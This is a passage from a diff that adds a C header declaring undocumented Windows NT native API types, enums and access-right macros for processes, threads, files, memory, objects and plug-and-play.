ProcessThreadStackAllocation, + ProcessWorkingSetWatchEx, + ProcessImageFileNameWin32, + ProcessImageFileMapping, + ProcessAffinityUpdateMode, + ProcessMemoryAllocationMode, + ProcessGroupInformation, + ProcessTokenVirtualizationEnabled, + ProcessConsoleHostProcess, + ProcessWindowInformation, + MaxProcessInfoClass +} PROCESSINFOCLASS; + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, + ThreadTimes, + ThreadPriority, + ThreadBasePriority, + ThreadAffinityMask, + ThreadImpersonationToken, + ThreadDescriptorTableEntry, + ThreadEnableAlignmentFaultFixup, + ThreadEventPair_Reusable, + ThreadQuerySetWin32StartAddress, + ThreadZeroTlsCell, + ThreadPerformanceCount, + ThreadAmILastThread, + ThreadIdealProcessor, + ThreadPriorityBoost, + ThreadSetTlsArrayAddress, // Obsolete + ThreadIsIoPending, + ThreadHideFromDebugger, + ThreadBreakOnTermination, + ThreadSwitchLegacyState, + ThreadIsTerminated, + ThreadLastSystemCall, + ThreadIoPriority, + ThreadCycleTime, + ThreadPagePriority, + ThreadActualBasePriority, + ThreadTebInformation, + ThreadCSwitchMon, // Obsolete + ThreadCSwitchPmu, + ThreadWow64Context, + ThreadGroupInformation, + ThreadUmsInformation, // UMS + ThreadCounterProfiling, + ThreadIdealProcessorEx, + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef enum _PROCESS_TLS_INFORMATION_TYPE +{ + ProcessTlsReplaceIndex, + ProcessTlsReplaceVector, + MaxProcessTlsOperation +} PROCESS_TLS_INFORMATION_TYPE; + + +#define PROCESS_TERMINATE (0x0001) +#define PROCESS_CREATE_THREAD (0x0002) +#define PROCESS_SET_SESSIONID (0x0004) +#define PROCESS_VM_OPERATION (0x0008) +#define PROCESS_VM_READ (0x0010) +#define PROCESS_VM_WRITE (0x0020) +#define PROCESS_DUP_HANDLE (0x0040) +#define PROCESS_CREATE_PROCESS (0x0080) +#define PROCESS_SET_QUOTA (0x0100) +#define PROCESS_SET_INFORMATION (0x0200) +#define PROCESS_QUERY_INFORMATION (0x0400) +#define PROCESS_SET_PORT (0x0800) +#define PROCESS_SUSPEND_RESUME (0x0800) + +#define NtCurrentThread() ( (HANDLE)(LONG_PTR) -2 ) +#define NtCurrentProcess() ( (HANDLE)(LONG_PTR) -1 ) +#define ZwCurrentProcess() NtCurrentProcess() +#define ZwCurrentThread() NtCurrentThread() + +// 28.05.2011 - rndbit +#define NtLastError() ( NtCurrentTeb()->LastErrorValue ) +#define NtLastStatus() ( NtCurrentTeb()->LastStatusValue ) + +#if defined(_M_X86) +#define NtCurrentPID() __readfsdword(0x20) +#else +#define NtCurrentPID() __readgsqword(0x20) +#endif + +#define THREAD_TERMINATE (0x0001) +#define THREAD_SUSPEND_RESUME (0x0002) +#define THREAD_ALERT (0x0004) +#define THREAD_GET_CONTEXT (0x0008) +#define THREAD_SET_CONTEXT (0x0010) +#define THREAD_SET_INFORMATION (0x0020) +#define THREAD_QUERY_INFORMATION (0x0040) +#define THREAD_SET_THREAD_TOKEN (0x0080) +#define THREAD_IMPERSONATE (0x0100) +#define THREAD_DIRECT_IMPERSONATION (0x0200) + +#define JOB_OBJECT_ASSIGN_PROCESS (0x0001) +#define JOB_OBJECT_SET_ATTRIBUTES (0x0002) +#define JOB_OBJECT_QUERY (0x0004) +#define JOB_OBJECT_TERMINATE (0x0008) +#define JOB_OBJECT_SET_SECURITY_ATTRIBUTES (0x0010) +#ifndef _WINNT_ +#define JOB_OBJECT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | SYNCHRONIZE | 0x1F ) +#endif + +#define PEB_STDIO_HANDLE_NATIVE 0 +#define PEB_STDIO_HANDLE_SUBSYS 1 +#define PEB_STDIO_HANDLE_PM 2 +#define PEB_STDIO_HANDLE_RESERVED 3 + +#define GDI_HANDLE_BUFFER_SIZE32 34 +#define GDI_HANDLE_BUFFER_SIZE64 60 + +#if !defined(_M_X64) +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE32 +#else +#define GDI_HANDLE_BUFFER_SIZE GDI_HANDLE_BUFFER_SIZE64 +#endif + +typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32]; +typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64]; +typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE]; + +#define FOREGROUND_BASE_PRIORITY 9 +#define NORMAL_BASE_PRIORITY 8 + +#ifndef FILE_READ_ACCESS +#define FILE_READ_ACCESS ( 0x0001 ) +#endif + +typedef enum _FILE_INFORMATION_CLASS +{ + FileDirectoryInformation = 1, + FileFullDirectoryInformation, + FileBothDirectoryInformation, + FileBasicInformation, + FileStandardInformation, + FileInternalInformation, + FileEaInformation, + FileAccessInformation, + FileNameInformation, + FileRenameInformation, + FileLinkInformation, + FileNamesInformation, + FileDispositionInformation, + FilePositionInformation, + FileFullEaInformation, + FileModeInformation, + FileAlignmentInformation, + FileAllInformation, + FileAllocationInformation, + FileEndOfFileInformation, + FileAlternateNameInformation, + FileStreamInformation, + FilePipeInformation, + FilePipeLocalInformation, + FilePipeRemoteInformation, + FileMailslotQueryInformation, + FileMailslotSetInformation, + FileCompressionInformation, + FileObjectIdInformation, + FileCompletionInformation, + FileMoveClusterInformation, + FileQuotaInformation, + FileReparsePointInformation, + FileNetworkOpenInformation, + FileAttributeTagInformation, + FileTrackingInformation, + FileIdBothDirectoryInformation, + FileIdFullDirectoryInformation, + FileValidDataLengthInformation, + FileShortNameInformation, + FileIoCompletionNotificationInformation, + FileIoStatusBlockRangeInformation, + FileIoPriorityHintInformation, + FileSfioReserveInformation, + FileSfioVolumeInformation, + FileHardLinkInformation, + FileProcessIdsUsingFileInformation, + FileNormalizedNameInformation, + FileNetworkPhysicalNameInformation, + FileIdGlobalTxDirectoryInformation, + FileMaximumInformation +} FILE_INFORMATION_CLASS, *PFILE_INFORMATION_CLASS; + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, + FileFsSizeInformation, + FileFsDeviceInformation, + FileFsAttributeInformation, + FileFsControlInformation, + FileFsFullSizeInformation, + FileFsObjectIdInformation, + FileFsDriverPathInformation, + FileFsVolumeFlagsInformation, + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + +typedef enum _POOL_TYPE { + NonPagedPool, + PagedPool, + NonPagedPoolMustSucceed, + DontUseThisType, + NonPagedPoolCacheAligned, + PagedPoolCacheAligned, + NonPagedPoolCacheAlignedMustS, + MaxPoolType, + NonPagedPoolSession, + PagedPoolSession, + NonPagedPoolMustSucceedSession, + DontUseThisTypeSession, + NonPagedPoolCacheAlignedSession, + PagedPoolCacheAlignedSession, + NonPagedPoolCacheAlignedMustSSession +} POOL_TYPE, *PPOOL_TYPE; + +typedef enum _MEMORY_INFORMATION_CLASS +{ + MemoryBasicInformation, + MemoryWorkingSetInformation, + MemoryMappedFilenameInformation, + MemoryRegionInformation, + MemoryWorkingSetExInformation +} MEMORY_INFORMATION_CLASS, *PMEMORY_INFORMATION_CLASS; + +typedef enum _REG_NOTIFY_CLASS +{ + RegNtDeleteKey, + RegNtPreDeleteKey, + RegNtSetValueKey, + RegNtPreSetValueKey, + RegNtDeleteValueKey, + RegNtPreDeleteValueKey, + RegNtSetInformationKey, + RegNtPreSetInformationKey, + RegNtRenameKey, + RegNtPreRenameKey, + RegNtEnumerateKey, + RegNtPreEnumerateKey, + RegNtEnumerateValueKey, + RegNtPreEnumerateValueKey, + RegNtQueryKey, + RegNtPreQueryKey, + RegNtQueryValueKey, + RegNtPreQueryValueKey, + RegNtQueryMultipleValueKey, + RegNtPreQueryMultipleValueKey, + RegNtPreCreateKey, + RegNtPostCreateKey, + RegNtPreOpenKey, + RegNtPostOpenKey, + RegNtKeyHandleClose, + RegNtPreKeyHandleClose, + RegNtPostDeleteKey, + RegNtPostSetValueKey, + RegNtPostDeleteValueKey, + RegNtPostSetInformationKey, + RegNtPostRenameKey, + RegNtPostEnumerateKey, + RegNtPostEnumerateValueKey, + RegNtPostQueryKey, + RegNtPostQueryValueKey, + RegNtPostQueryMultipleValueKey, + RegNtPostKeyHandleClose, + RegNtPreCreateKeyEx, + RegNtPostCreateKeyEx, + RegNtPreOpenKeyEx, + RegNtPostOpenKeyEx, + RegNtPreFlushKey, + RegNtPostFlushKey, + RegNtPreLoadKey, + RegNtPostLoadKey, + RegNtPreUnLoadKey, + RegNtPostUnLoadKey, + RegNtPreQueryKeySecurity, + RegNtPostQueryKeySecurity, + RegNtPreSetKeySecurity, + RegNtPostSetKeySecurity, + RegNtCallbackObjectContextCleanup, + MaxRegNtNotifyClass +} REG_NOTIFY_CLASS, *PREG_NOTIFY_CLASS; + +typedef enum _HAL_QUERY_INFORMATION_CLASS +{ + HalInstalledBusInformation, + HalProfileSourceInformation, + HalInformationClassUnused1, + HalPowerInformation, + HalProcessorSpeedInformation, + HalCallbackInformation, + HalMapRegisterInformation, + HalMcaLogInformation, + HalFrameBufferCachingInformation, + HalDisplayBiosInformation, + HalProcessorFeatureInformation, + HalNumaTopologyInterface, + HalErrorInformation, + HalCmcLogInformation, + HalCpeLogInformation, + HalQueryMcaInterface, + HalQueryAMLIIllegalIOPortAddresses, + HalQueryMaxHotPlugMemoryAddress, + HalPartitionIpiInterface, + HalPlatformInformation, + HalQueryProfileSourceList, + HalInitLogInformation, + HalFrequencyInformation, + HalProcessorBrandString +} HAL_QUERY_INFORMATION_CLASS, *PHAL_QUERY_INFORMATION_CLASS; + + +#if defined(_WINNT_) && (_MSC_VER < 1300) && !defined(_WINDOWS_) +typedef enum POWER_INFORMATION_LEVEL { + SystemPowerPolicyAc = 0x0, + SystemPowerPolicyDc = 0x1, + VerifySystemPolicyAc = 0x2, + VerifySystemPolicyDc = 0x3, + SystemPowerCapabilities = 0x4, + SystemBatteryState = 0x5, + SystemPowerStateHandler = 0x6, + ProcessorStateHandler = 0x7, + SystemPowerPolicyCurrent = 0x8, + AdministratorPowerPolicy = 0x9, + SystemReserveHiberFile = 0xa, + ProcessorInformation = 0xb, + SystemPowerInformation = 0xc, + ProcessorStateHandler2 = 0xd, + LastWakeTime = 0xe, + LastSleepTime = 0xf, + SystemExecutionState = 0x10, + SystemPowerStateNotifyHandler = 0x11, + ProcessorPowerPolicyAc = 0x12, + ProcessorPowerPolicyDc = 0x13, + VerifyProcessorPowerPolicyAc = 0x14, + VerifyProcessorPowerPolicyDc = 0x15, + ProcessorPowerPolicyCurrent = 0x16, + SystemPowerStateLogging = 0x17, + SystemPowerLoggingEntry = 0x18, + SetPowerSettingValue = 0x19, + NotifyUserPowerSetting = 0x1a, + GetPowerTransitionVetoes = 0x1b, + SetPowerTransitionVeto = 0x1c, + SystemVideoState = 0x1d, + TraceApplicationPowerMessage = 0x1e, + TraceApplicationPowerMessageEnd = 0x1f, + ProcessorPerfStates = 0x20, + ProcessorIdleStates = 0x21, + ProcessorThrottleStates = 0x22, + SystemWakeSource = 0x23, + SystemHiberFileInformation = 0x24, + TraceServicePowerMessage = 0x25, + ProcessorLoad = 0x26, + PowerShutdownNotification = 0x27, + MonitorCapabilities = 0x28 +}; +#endif + +typedef struct _IO_STATUS_BLOCK { + union { + NTSTATUS Status; + PVOID Pointer; + }; + ULONG_PTR Information; +} IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; + +typedef VOID(NTAPI *PIO_APC_ROUTINE)( + IN PVOID ApcContext, + IN PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG Reserved + ); + +typedef struct _X86_FLOATING_SAVE_AREA +{ + ULONG ControlWord; + ULONG StatusWord; + ULONG TagWord; + ULONG ErrorOffset; + ULONG ErrorSelector; + ULONG DataOffset; + ULONG DataSelector; + UCHAR RegisterArea[ 80 ]; + ULONG Cr0NpxState; +} X86_FLOATING_SAVE_AREA, *PX86_FLOATING_SAVE_AREA; + +typedef struct _X86_CONTEXT +{ + ULONG ContextFlags; + ULONG Dr0; + ULONG Dr1; + ULONG Dr2; + ULONG Dr3; + ULONG Dr6; + ULONG Dr7; + X86_FLOATING_SAVE_AREA FloatSave; + ULONG SegGs; + ULONG SegFs; + ULONG SegEs; + ULONG SegDs; + ULONG Edi; + ULONG Esi; + ULONG Ebx; + ULONG Edx; + ULONG Ecx; + ULONG Eax; + ULONG Ebp; + ULONG Eip; + ULONG SegCs; + ULONG EFlags; + ULONG Esp; + ULONG SegSs; +} X86_CONTEXT, *PX86_CONTEXT; + +#define FILE_SUPERSEDE 0x00000000 +#define FILE_OPEN 0x00000001 +#define FILE_CREATE 0x00000002 +#define FILE_OPEN_IF 0x00000003 +#define FILE_OVERWRITE 0x00000004 +#define FILE_OVERWRITE_IF 0x00000005 +#define FILE_MAXIMUM_DISPOSITION 0x00000005 + +#define FILE_DIRECTORY_FILE 0x00000001 +#define FILE_WRITE_THROUGH 0x00000002 +#define FILE_SEQUENTIAL_ONLY 0x00000004 +#define FILE_NO_INTERMEDIATE_BUFFERING 0x00000008 + +#define FILE_SYNCHRONOUS_IO_ALERT 0x00000010 +#define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 +#define FILE_NON_DIRECTORY_FILE 0x00000040 +#define FILE_CREATE_TREE_CONNECTION 0x00000080 + +#define FILE_COMPLETE_IF_OPLOCKED 0x00000100 +#define FILE_NO_EA_KNOWLEDGE 0x00000200 +#define FILE_OPEN_FOR_RECOVERY 0x00000400 +#define FILE_RANDOM_ACCESS 0x00000800 + +#define FILE_DELETE_ON_CLOSE 0x00001000 +#define FILE_OPEN_BY_FILE_ID 0x00002000 +#define FILE_OPEN_FOR_BACKUP_INTENT 0x00004000 +#define FILE_NO_COMPRESSION 0x00008000 + +#define FILE_RESERVE_OPFILTER 0x00100000 +#define FILE_OPEN_REPARSE_POINT 0x00200000 +#define FILE_OPEN_NO_RECALL 0x00400000 +#define FILE_OPEN_FOR_FREE_SPACE_QUERY 0x00800000 + + +#define FILE_COPY_STRUCTURED_STORAGE 0x00000041 +#define FILE_STRUCTURED_STORAGE 0x00000441 + +#define FILE_VALID_OPTION_FLAGS 0x00ffffff +#define FILE_VALID_PIPE_OPTION_FLAGS 0x00000032 +#define FILE_VALID_MAILSLOT_OPTION_FLAGS 0x00000032 +#define FILE_VALID_SET_FLAGS 0x00000036 + +#define WIN32_CLIENT_INFO_LENGTH 62 + +#define PIO_APC_ROUTINE_DEFINED + +typedef struct _PORT_VIEW { + ULONG Length; + LPC_HANDLE SectionHandle; + ULONG SectionOffset; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; + LPC_PVOID ViewRemoteBase; +} PORT_VIEW, *PPORT_VIEW; + +typedef struct _REMOTE_PORT_VIEW { + ULONG Length; + LPC_SIZE_T ViewSize; + LPC_PVOID ViewBase; +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +#define IO_COMPLETION_QUERY_STATE 0x0001 +#define IO_COMPLETION_MODIFY_STATE 0x0002 +#define IO_COMPLETION_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _IO_COMPLETION_INFORMATION_CLASS { + IoCompletionBasicInformation +} IO_COMPLETION_INFORMATION_CLASS; + +typedef enum _PORT_INFORMATION_CLASS { + PortBasicInformation +} PORT_INFORMATION_CLASS; + +typedef enum _SECTION_INHERIT { + ViewShare = 1, + ViewUnmap = 2 +} SECTION_INHERIT; + +//added 21/03/2011 +typedef struct _MEMORY_WORKING_SET_BLOCK +{ + ULONG_PTR Protection : 5; + ULONG_PTR ShareCount : 3; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 3; +#if defined(_M_X64) + ULONG_PTR VirtualPage : 52; +#else + ULONG VirtualPage : 20; +#endif +} MEMORY_WORKING_SET_BLOCK, *PMEMORY_WORKING_SET_BLOCK; + +typedef struct _MEMORY_WORKING_SET_INFORMATION +{ + ULONG_PTR NumberOfEntries; + MEMORY_WORKING_SET_BLOCK WorkingSetInfo[1]; +} MEMORY_WORKING_SET_INFORMATION, *PMEMORY_WORKING_SET_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_BLOCK +{ + ULONG_PTR Valid : 1; + ULONG_PTR ShareCount : 3; + ULONG_PTR Win32Protection : 11; + ULONG_PTR Shared : 1; + ULONG_PTR Node : 6; + ULONG_PTR Locked : 1; + ULONG_PTR LargePage : 1; + ULONG_PTR Priority : 3; + ULONG_PTR Reserved : 5; + +#if defined(_M_X64) + ULONG_PTR ReservedUlong : 32; +#endif +} MEMORY_WORKING_SET_EX_BLOCK, *PMEMORY_WORKING_SET_EX_BLOCK; + +typedef struct _MEMORY_REGION_INFORMATION +{ + PVOID AllocationBase; + ULONG AllocationProtect; + ULONG RegionType; + SIZE_T RegionSize; +} MEMORY_REGION_INFORMATION, *PMEMORY_REGION_INFORMATION; + +typedef struct _MEMORY_WORKING_SET_EX_INFORMATION +{ + PVOID VirtualAddress; + union + { + MEMORY_WORKING_SET_EX_BLOCK VirtualAttributes; + ULONG Long; + }; +} MEMORY_WORKING_SET_EX_INFORMATION, *PMEMORY_WORKING_SET_EX_INFORMATION; + +typedef +VOID +(*PTIMER_APC_ROUTINE) ( + IN PVOID TimerContext, + IN ULONG TimerLowValue, + IN LONG TimerHighValue + ); + +typedef enum _SHUTDOWN_ACTION { + ShutdownNoReboot, + ShutdownReboot, + ShutdownPowerOff +} SHUTDOWN_ACTION; + +typedef enum _ATOM_INFORMATION_CLASS +{ + AtomBasicInformation, + AtomTableInformation +} ATOM_INFORMATION_CLASS; + +typedef struct _ATOM_BASIC_INFORMATION +{ + USHORT UsageCount; + USHORT Flags; + USHORT NameLength; + WCHAR Name[1]; +} ATOM_BASIC_INFORMATION, *PATOM_BASIC_INFORMATION; + +typedef struct _ATOM_TABLE_INFORMATION +{ + ULONG NumberOfAtoms; + RTL_ATOM Atoms[1]; +} ATOM_TABLE_INFORMATION, *PATOM_TABLE_INFORMATION; + +#define SEMAPHORE_QUERY_STATE 0x0001 +#define SEMAPHORE_MODIFY_STATE 0x0002 + +#define SEMAPHORE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|0x3) + +typedef enum _SEMAPHORE_INFORMATION_CLASS { + SemaphoreBasicInformation +} SEMAPHORE_INFORMATION_CLASS; + +typedef struct _SEMAPHORE_BASIC_INFORMATION { + LONG CurrentCount; + LONG MaximumCount; +} SEMAPHORE_BASIC_INFORMATION, *PSEMAPHORE_BASIC_INFORMATION; + +#define MUTANT_QUERY_STATE 0x0001 + +#define MUTANT_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + MUTANT_QUERY_STATE) + +typedef enum _MUTANT_INFORMATION_CLASS { + MutantBasicInformation +} MUTANT_INFORMATION_CLASS; + +typedef struct _MUTANT_BASIC_INFORMATION { + LONG CurrentCount; + BOOLEAN OwnedByCaller; + BOOLEAN AbandonedState; +} MUTANT_BASIC_INFORMATION, *PMUTANT_BASIC_INFORMATION; + +#define TIMER_QUERY_STATE 0x0001 +#define TIMER_MODIFY_STATE 0x0002 + +#define TIMER_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED|SYNCHRONIZE|\ + TIMER_QUERY_STATE|TIMER_MODIFY_STATE) +typedef enum _TIMER_INFORMATION_CLASS { + TimerBasicInformation +} TIMER_INFORMATION_CLASS; + +typedef struct _TIMER_BASIC_INFORMATION { + LARGE_INTEGER RemainingTime; + BOOLEAN TimerState; +} TIMER_BASIC_INFORMATION, *PTIMER_BASIC_INFORMATION; + +typedef enum _SECTION_INFORMATION_CLASS { + SectionBasicInformation, + SectionImageInformation, + MaxSectionInfoClass +} SECTION_INFORMATION_CLASS; + +#define OBJ_NAME_PATH_SEPARATOR ((WCHAR)L'\\') +#define OBJ_MAX_REPARSE_ATTEMPTS 32 +#define OBJECT_TYPE_CREATE (0x0001) +#define OBJECT_TYPE_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +#define DIRECTORY_QUERY (0x0001) +#define DIRECTORY_TRAVERSE (0x0002) +#define DIRECTORY_CREATE_OBJECT (0x0004) +#define DIRECTORY_CREATE_SUBDIRECTORY (0x0008) + +#define DIRECTORY_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0xF) +#define SYMBOLIC_LINK_QUERY (0x0001) +#define SYMBOLIC_LINK_ALL_ACCESS (STANDARD_RIGHTS_REQUIRED | 0x1) + +typedef enum _OBJECT_INFORMATION_CLASS { + ObjectBasicInformation, + ObjectNameInformation, + ObjectTypeInformation, + ObjectTypesInformation, + ObjectHandleFlagInformation, + ObjectSessionInformation, + MaxObjectInfoClass +} OBJECT_INFORMATION_CLASS; + +typedef struct _OBJECT_BASIC_INFORMATION { + ULONG Attributes; + ACCESS_MASK GrantedAccess; + ULONG HandleCount; + ULONG PointerCount; + ULONG PagedPoolCharge; + ULONG NonPagedPoolCharge; + ULONG Reserved[ 3 ]; + ULONG NameInfoSize; + ULONG TypeInfoSize; + ULONG SecurityDescriptorSize; + LARGE_INTEGER CreationTime; +} OBJECT_BASIC_INFORMATION, *POBJECT_BASIC_INFORMATION; + +typedef struct _OBJECT_NAME_INFORMATION { + UNICODE_STRING Name; +} OBJECT_NAME_INFORMATION, *POBJECT_NAME_INFORMATION; + +typedef struct _OBJECT_TYPE_INFORMATION +{ + UNICODE_STRING TypeName; + ULONG TotalNumberOfObjects; + ULONG TotalNumberOfHandles; + ULONG TotalPagedPoolUsage; + ULONG TotalNonPagedPoolUsage; + ULONG TotalNamePoolUsage; + ULONG TotalHandleTableUsage; + ULONG HighWaterNumberOfObjects; + ULONG HighWaterNumberOfHandles; + ULONG HighWaterPagedPoolUsage; + ULONG HighWaterNonPagedPoolUsage; + ULONG HighWaterNamePoolUsage; + ULONG HighWaterHandleTableUsage; + ULONG InvalidAttributes; + GENERIC_MAPPING GenericMapping; + ULONG ValidAccessMask; + BOOLEAN SecurityRequired; + BOOLEAN MaintainHandleCount; + ULONG PoolType; + ULONG DefaultPagedPoolCharge; + ULONG DefaultNonPagedPoolCharge; +} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION; + +typedef struct _OBJECT_TYPES_INFORMATION +{ + ULONG NumberOfTypes; + OBJECT_TYPE_INFORMATION TypeInformation; +} OBJECT_TYPES_INFORMATION, *POBJECT_TYPES_INFORMATION; + +typedef struct _OBJECT_HANDLE_FLAG_INFORMATION +{ + BOOLEAN Inherit; + BOOLEAN ProtectFromClose; +} OBJECT_HANDLE_FLAG_INFORMATION, *POBJECT_HANDLE_FLAG_INFORMATION; + +typedef enum _PLUGPLAY_EVENT_CATEGORY { + HardwareProfileChangeEvent, + TargetDeviceChangeEvent, + DeviceClassChangeEvent, + CustomDeviceEvent, + DeviceInstallEvent, + DeviceArrivalEvent, + PowerEvent, + VetoEvent, + BlockedDriverEvent, + InvalidIDEvent, + MaxPlugEventCategory +} PLUGPLAY_EVENT_CATEGORY, *PPLUGPLAY_EVENT_CATEGORY; + +typedef enum _PNP_VETO_TYPE { + PNP_VetoTypeUnknown, // Name is unspecified + PNP_VetoLegacyDevice, // Name is an Instance Path + PNP_VetoPendingClose, // Name is an Instance Path + PNP_VetoWindowsApp, // Name is a Module + PNP_VetoWindowsService, // Name is a Service + PNP_VetoOutstandingOpen, // Name is an Instance Path + PNP_VetoDevice, // Name is an Instance Path + PNP_VetoDriver, // Name is a Driver Service Name + PNP_VetoIllegalDeviceRequest, // Name is an Instance Path + PNP_VetoInsufficientPower, // Name is unspecified + PNP_VetoNonDisableable, // Name is an Instance Path + PNP_VetoLegacyDriver, // Name is a Service + PNP_VetoInsufficientRights // Name is unspecified +} PNP_VETO_TYPE, *PPNP_VETO_TYPE; + +typedef struct _PLUGPLAY_EVENT_BLOCK { + // + // Common event data + // + GUID EventGuid; + PLUGPLAY_EVENT_CATEGORY EventCategory; + PULONG Result; + ULONG Flags; + ULONG TotalSize; + PVOID DeviceObject; + + union { + + struct { + GUID ClassGuid; + WCHAR SymbolicLinkName[1]; + } DeviceClass; + + struct { + WCHAR DeviceIds[1]; + } TargetDevice; + + struct { + WCHAR DeviceId[1]; + } InstallDevice; + + struct { + PVOID NotificationStructure; + WCHAR DeviceIds[1]; + } CustomNotification; + + struct { + PVOID Notification; + } ProfileNotification; + + struct { + ULONG NotificationCode; + ULONG NotificationData; + } PowerNotification; + + struct { + PNP_VETO_TYPE VetoType; + WCHAR DeviceIdVetoNameBuffer[1]; // DeviceIdVetoName + } VetoNotification; + + struct { + GUID BlockedDriverGuid; + } BlockedDriverNotification; + + struct { + WCHAR ParentId[1]; + } InvalidIDNotification; + + } u; + +} PLUGPLAY_EVENT_BLOCK, *PPLUGPLAY_EVENT_BLOCK; + +typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS; + +#define MDL_HASH_TABLE_SIZE 64 +#define MDL_HASH_MASK (MDL_HASH_TABLE_SIZE-1) +#define MDL_HASH_INDEX(wch) ((RtlUpcaseUnicodeChar((wch)) - (WCHAR)'A') & MDL_HASH_MASK) + +#if !defined(_WINNT_) +#define HEAP_MAKE_TAG_FLAGS( b, o ) ((ULONG)((b) + ((o) << 18))) +#endif +#define RTL_HEAP_MAKE_TAG HEAP_MAKE_TAG_FLAGS + +typedef struct _TIME_FIELDS { + CSHORT Year; // range [1601...] + CSHORT Month; // range [1..12] + CSHORT Day; // range [1..31] + CSHORT Hour; // range [0..23] + CSHORT Minute; // range [0..59] + CSHORT Second; // range [0..59] + CSHORT Milliseconds;// range [0..999] + CSHORT Weekday; // range [0..6] == [Sunday..Saturday] +} TIME_FIELDS; +typedef TIME_FIELDS *PTIME_FIELDS; + +typedef struct _RTL_TIME_ZONE_INFORMATION { + LONG Bias; + WCHAR StandardName[ 32 ]; + TIME_FIELDS StandardStart; + LONG StandardBias; + WCHAR DaylightName[ 32 ]; + TIME_FIELDS DaylightStart; + LONG DaylightBias; +} RTL_TIME_ZONE_INFORMATION, *PRTL_TIME_ZONE_INFORMATION; + +typedef struct _RTL_BITMAP_RUN { + ULONG StartingIndex; + ULONG NumberOfBits; +} RTL_BITMAP_RUN; +typedef RTL_BITMAP_RUN *PRTL_BITMAP_RUN; + +typedef struct _PARSE_MESSAGE_CONTEXT { + ULONG fFlags; + ULONG cwSavColumn; + SIZE_T iwSrc; + SIZE_T iwDst; + SIZE_T iwDstSpace; + va_list lpvArgStart; +} PARSE_MESSAGE_CONTEXT, *PPARSE_MESSAGE_CONTEXT; + +typedef enum _RTL_RXACT_OPERATION { + RtlRXactOperationDelete = 1, // Causes sub-key to be deleted + RtlRXactOperationSetValue, // Sets sub-key value (creates key(s) if necessary) + RtlRXactOperationDelAttribute, + RtlRXactOperationSetAttribute +} RTL_RXACT_OPERATION, *PRTL_RXACT_OPERATION; + +typedef struct _RTL_RXACT_LOG { + ULONG OperationCount; + ULONG LogSize; + ULONG LogSizeInUse; +#if defined(_M_X64) + ULONG Alignment; +#endif +} RTL_RXACT_LOG, *PRTL_RXACT_LOG; + +typedef struct _RTL_RXACT_CONTEXT { + HANDLE RootRegistryKey; + HANDLE RXactKey; + BOOLEAN HandlesValid; + PRTL_RXACT_LOG RXactLog; +} RTL_RXACT_CONTEXT, *PRTL_RXACT_CONTEXT; + +#define MAXIMUM_LEADBYTES 12 + +typedef struct _CPTABLEINFO { + USHORT CodePage; // code page number + USHORT MaximumCharacterSize; // max length (bytes) of a char + USHORT DefaultChar; // default character (MB) + USHORT UniDefaultChar; // default character (Unicode) + USHORT TransDefaultChar; // translation of default char (Unicode) + USHORT TransUniDefaultChar; // translation of Unic default char (MB) + USHORT DBCSCodePage; // Non 0 for DBCS code pages + UCHAR LeadByte[MAXIMUM_LEADBYTES]; // lead byte ranges + PUSHORT MultiByteTable; // pointer to MB translation table + PVOID WideCharTable; // pointer to WC translation table + PUSHORT DBCSRanges; // pointer to DBCS ranges + PUSHORT DBCSOffsets; // pointer to DBCS offsets +} CPTABLEINFO, *PCPTABLEINFO; + +typedef struct _NLSTABLEINFO { + CPTABLEINFO OemTableInfo; + CPTABLEINFO AnsiTableInfo; + PUSHORT UpperCaseTable; // 844 format upcase table + PUSHORT LowerCaseTable; // 844 format lower case table +} NLSTABLEINFO, *PNLSTABLEINFO; + +#define RTL_RANGE_LIST_SHARED_OK 0x00000001 +#define RTL_RANGE_LIST_NULL_CONFLICT_OK 0x00000002 + +typedef struct _RTL_RANGE { + ULONGLONG Start; // Read only + ULONGLONG End; // Read only + PVOID UserData; // Read/Write + PVOID Owner; // Read/Write + UCHAR Attributes; // Read/Write + UCHAR Flags; // Read only +} RTL_RANGE, *PRTL_RANGE; + +typedef + BOOLEAN + (*PRTL_CONFLICT_RANGE_CALLBACK) ( + IN PVOID Context, + IN PRTL_RANGE Range + ); + +typedef enum _EVENT_INFORMATION_CLASS { + EventBasicInformation +} EVENT_INFORMATION_CLASS; + + +typedef enum _PLUGPLAY_CONTROL_CLASS { + PlugPlayControlEnumerateDevice, + PlugPlayControlRegisterNewDevice, + PlugPlayControlDeregisterDevice, + PlugPlayControlInitializeDevice, + PlugPlayControlStartDevice, + PlugPlayControlUnlockDevice, + PlugPlayControlQueryAndRemoveDevice, + PlugPlayControlUserResponse, + PlugPlayControlGenerateLegacyDevice, + PlugPlayControlGetInterfaceDeviceList, + PlugPlayControlProperty, + PlugPlayControlDeviceClassAssociation, + PlugPlayControlGetRelatedDevice, + PlugPlayControlGetInterfaceDeviceAlias, + PlugPlayControlDeviceStatus, + PlugPlayControlGetDeviceDepth, + PlugPlayControlQueryDeviceRelations, + PlugPlayControlTargetDeviceRelation, + PlugPlayControlQueryConflictList, + PlugPlayControlRetrieveDock, 